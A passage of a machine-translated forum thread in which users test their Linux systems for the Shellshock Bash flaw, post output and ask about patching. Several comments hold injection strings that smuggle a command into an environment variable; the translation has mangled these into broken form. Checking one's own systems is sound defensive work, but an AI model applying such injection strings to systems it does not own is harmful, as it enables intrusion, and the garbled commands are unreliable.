    [code] sh: X: บรรทัด 1: ข้อผิดพลาดทางไวยากรณ์ใกล้กับองค์ประกอบที่ไม่คาดคิด `= '
    sh: X: บรรทัด 1: ''
    sh: ข้อผิดพลาดในการนำเข้านิยามฟังก์ชันสำหรับ `` X '
    sh: เสี่ยง: ไม่พบคำสั่ง
    ไม่ได้รับการแก้ไขข้อบกพร่อง 2
    [/รหัส]
    ฉันไม่รู้ว่าจะมี Bash เวอร์ชันเสถียรพร้อมกับบั๊กที่แก้ไขแล้วหรือไม่ แต่ไม่ว่าจะด้วยวิธีใดก็ตามมันจะรอดำเนินการในครั้งต่อไปที่ฉันทำ Emerge –sync && Emerge -update --deep –with-bdeps = และ - newuse @world (นั่นคือขั้นตอนที่ฉันอัปเดตระบบทั้งหมด)

    1.    ยูกิเทรุ dijo

      ฉันมี Gentoo เวอร์ชัน 4.2_p50 และจนถึงตอนนี้ก็ผ่านการทดสอบทั้งหมดแล้ว ลองใช้ –sync ที่เกิดขึ้นแล้วโผล่ขึ้นมา -av1 app -hell / bash จากนั้นตรวจสอบว่าคุณมีเวอร์ชัน 4.2_p50 โดยใช้คำสั่ง bash --version

  18.   Fer dijo

    คุณลองสิ่งนี้แล้วหรือยัง?

    และด้วยแพ็คเกจใหม่การทดสอบใหม่ที่ Red Hat มอบให้เรา

    ซีดี / tmp; rm -f / tmp / ก้อง; env 'x = () {(a) => \' bash -c "echo date"; แมว / tmp / echo

    หากระบบของเราไม่มีช่องโหว่และได้รับการแก้ไขอย่างถูกต้องระบบจะต้องให้สิ่งนี้แก่เรา
    1 วันที่
    2 cat: / tmp / echo: ไม่มีไฟล์หรือไดเร็กทอรี

  19.   ยูกิเทรุ dijo

    ลองวิธีนี้:

    env X = '() {(a) => \' sh -c "echo โหว่"; bash -c "echo Failure 2 ได้รับการแก้ไขแล้ว"

    ฉันเข้าใจ

    อ่อนแอ
    แก้ไขข้อบกพร่อง 2 แล้ว

    1.    ยูกิเทรุ dijo

      ลืมไปว่าไลน์มีรูปแบบไม่ดี

  20.   ออสการ์เมซ่า dijo

    ยอดเยี่ยมฉันได้ทำการอัปเดต Slackware แล้วขอบคุณ!

  21.   lotbrok dijo

    สวัสดีมีคำถามเกิดขึ้นฉันมีเซิร์ฟเวอร์หลายตัวที่มี "SUSE Linux Enterprise Server 10" 64 บิต
    เมื่อฉันดำเนินการตามคำสั่งฉันมีความเสี่ยงฉันเสี่ยงยิ่งกว่าการทิ้ง iPhone 6 xD เสียอีก
    ถ้าฉันไม่ผิดที่จะอัปเดต / ติดตั้งแพ็คเกจใน SUSE ก็ทำได้ด้วยคำสั่ง« zypper »

    ในบางเซิร์ฟเวอร์จะบอกฉันสิ่งนี้:

    BIAL: ~ # zypper ขึ้น
    -bash: zypper: ไม่พบคำสั่ง
    BIAL: ~ #

    และอื่น ๆ สิ่งนี้:

    SMB: ~ # zypper ขึ้น
    กำลังกู้คืนแหล่งที่มาของระบบ ...
    การแยกวิเคราะห์ข้อมูลเมตาสำหรับ SUSE Linux Enterprise Server 10 SP2-20100319-161944 …
    กำลังแยกวิเคราะห์ฐานข้อมูล RPM ...
    สรุป:
    ไม่มีอะไรทำ.

    สิ่งที่ฉันทำ?
    ฉันรู้ว่าบางคนบอกว่าช่องโหว่นั้นน้อยกว่าที่พวกเขาวาดไว้ แต่ฉันมีมันและฉันไม่อยากเสี่ยงไม่ว่าจะเล็กหรือใหญ่

    อาศิรพจน์

  22.   แซนเดอร์กูเตียร์เรซ dijo

    สวัสดีตอนเย็นฉันได้ลองวางรหัสที่คุณให้ไว้ในบทความแล้วฉันได้รับสิ่งนี้
    sanders @ pc-sanders: ~ $ env x = '() {:;}; echo ที่มีช่องโหว่ 'bash -c "echo นี่คือการทดสอบ"
    นี่คือการทดสอบ
    sanders @ pc-sanders: ~ $
    คุณช่วยอธิบายวิธีการแก้ไข distro ให้ฉันได้ไหมฉันอัปเดตทุกวันและฉันไม่เห็นการเปลี่ยนแปลงใด ๆ ในเอาต์พุตพร้อมต์

    ขอบคุณมาก!